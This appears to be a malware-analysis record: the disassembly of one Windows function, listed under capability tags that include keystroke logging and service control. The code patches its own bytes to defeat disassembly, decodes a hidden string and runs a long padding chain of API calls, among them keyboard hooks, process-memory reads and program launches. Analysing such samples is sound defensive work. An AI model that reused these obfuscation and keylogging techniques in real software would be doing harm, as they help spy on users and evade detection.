Function at 0xaa81c6
Capabilities:
Create process on windows
Delete directory
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file size
Get graphical window text
Get system information on windows
Identify system language via api
Log keystrokes
Log keystrokes via polling
Read .ini file
Start service
Stop service
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov dword [ebp - 0x10], 0xaa8cdf
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaa8036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaa81c6
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaa80b8
call fcn.00485df2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaa807a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaa8094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaa8094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaa804a
mov byte [ebp - 0x6c], 2
mov byte [ebp - 0x6b], 0x6f
mov byte [ebp - 0x6a], 1
mov byte [ebp - 0x69], 0x78
mov byte [ebp - 0x68], 5
mov byte [ebp - 0x67], 0x6e
mov byte [ebp - 0x66], 0xf
mov byte [ebp - 0x65], 0x1e
mov byte [ebp - 0x64], 0xbd
mov byte [ebp - 0x63], 0xae
mov byte [ebp - 0x62], 0x25
mov byte [ebp - 0x61], 0xd1
mov byte [ebp - 0x60], 0xc5
mov byte [ebp - 0x5f], 0x6c
mov byte [ebp - 0x5e], 0xa1
mov byte [ebp - 0x5d], 0x76
mov byte [ebp - 0x5c], 0xc6
mov byte [ebp - 0x5b], 0xda
mov byte [ebp - 0x5a], 0x43
mov byte [ebp - 0x59], 0xd
mov byte [ebp - 0x58], 0xcd
mov byte [ebp - 0x57], 7
mov byte [ebp - 0x56], 0x68
mov byte [ebp - 0x55], 3
mov byte [ebp - 0x54], 0x29
mov byte [ebp - 0x53], 8
mov byte [ebp - 0x52], 0x7b
mov byte [ebp - 0x51], 9
mov byte [ebp - 0x50], 0x76
mov byte [ebp - 0x4f], 6
mov byte [ebp - 0x4e], 0x7d
mov byte [ebp - 0x4d], 0
mov byte [ebp - 0x4c], 0x83
mov byte [ebp - 0x4b], 4
mov byte [ebp - 0x4a], 0x8a
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaa8156
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x23
jae 0xaa81bb
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x6c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaa8182
mov dword [ebp - 0x24], 0xf
mov eax, dword [ebp - 8]
add eax, 0xd
mov dword [ebp - 8], eax
jmp 0xaa814e
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x6b]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaa81aa
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaa8197
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x6c]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaa814e
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa9caca
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407ff8
mov ecx, eax
call fcn.00402f27
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402ecb
and dword [ebp - 0x1c], 0
jmp 0xaa81fe
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaa820e
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaa81f7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
push 0x5a6
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0xea4
push 0x147
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
push 0x318
push 0x223c
push 0x16ff
push 0xc88
push 0x22c7
push 0xb2a
push 0x1faa
push 0x174b
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x17fa
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0
push 0x6ea
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push 0
push 0
push 0x1b52
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0x11b0
push 0x2476
push 0x208b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0x1466
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
push 0x19f7
push 0x2326
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0x161c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0x2476
push 0
push 0x16a8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0
push 0x1b52
push 0x3e4
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 0x163
call dword [sym.imp.USER32.dll_GetSysColor]
push 0
push 0
push 0x56c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
push 0x1fb1
push 0
push 0
push 0xac2
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
push 0x1d57
push 0x4cb
push 0x1484
push 0x1556
push 0x89b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
push 0
push 0xd3b
push 0x7ba
call dword [sym.imp.GDI32.dll_CreatePen]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push 0xcff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
push 0x1fe4
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
push 0xd6a
push 0x167b
call dword [sym.imp.USER32.dll_SetCaretPos]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0x6b6
push 0x24a7
push 0x25ce
push 0x1df1
push 0x49c
push 0x2204
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 0
push 0x818
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x166
push 0
push 0
push 0
push 0
push 0x665
push 0x2402
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 0
push 0x1cf3
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call dword [sym.imp.USER32.dll_CreateMenu]
push 0
push 0
push 0x24b0
push 0x1e92
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
push 0x1db3
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
push 0x1f70
call dword [sym.imp.USER32.dll_GetKeyState]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0x1915
push 0x18d6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0
push 0
push 0xcdb
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push 0x26b3
push 0
call dword [sym.imp.USER32.dll_CharLowerBuffW]
push 0
push 0x1552
push 0xc87
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
push 0
push 0
push 0xdb8
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x654
push 0x1f3a
push 0x19aa
push 0xd20
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0
push 0x202c
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
call dword [sym.imp.GDI32.dll_DeleteObject]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
push 0x1bd
push 0
push 0x16c9
push 0x1a7c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
push 0x1d3e
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
push 0xd4b
push 0x948
push 0x1dee
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x2504
push 0x23b7
push 0x617
push 0x248b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0x1859
push 0x1dac
push 0x204f
call dword [sym.imp.KERNEL32.dll_HeapCreate]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
push 0x1008
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0
push 0x11d1
push 0
push 0
push 0x1d96
push 0x161c
push 0xad6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
push 0x1a9d
push 0x1280
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_LineTo]
push 0
push 0x1bd7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
push 0x61f
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push 0x23cb
push 0x2bb
push 0xe62
push 0x113d
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0x1dd8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
call dword [sym.imp.USER32.dll_GetMessageTime]
push 0
push 0x1692
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
call dword [sym.imp.GDI32.dll_GdiFlush]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
push 0
push 0x20e3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push 0
push 0x3a4
push 0x1882
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x1358
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x1229
push 0
push 0x352
push 0x52c
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
push 0xd7d
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
push 0x1da3
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0x20c4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0xf4b
push 0x2ef
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0
push 0x1fb9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x2278
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
push 0x1617
push 0x1561
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0x169
push 0x1b01
push 0x1f44
push 0
push 0x24f
push 0x1659
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1132
push 0x4c
push 0x1937
push 0x6aa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
push 0x7c
push 0x5c0
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
push 0x2156
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0x2261
push 0x853
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
call dword [sym.imp.USER32.dll_GetCapture]
push 0xaec
push 0x990
push 0
push 0
push 0xc22
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push 0x14f9
call dword [sym.imp.KERNEL32.dll_ExitThread]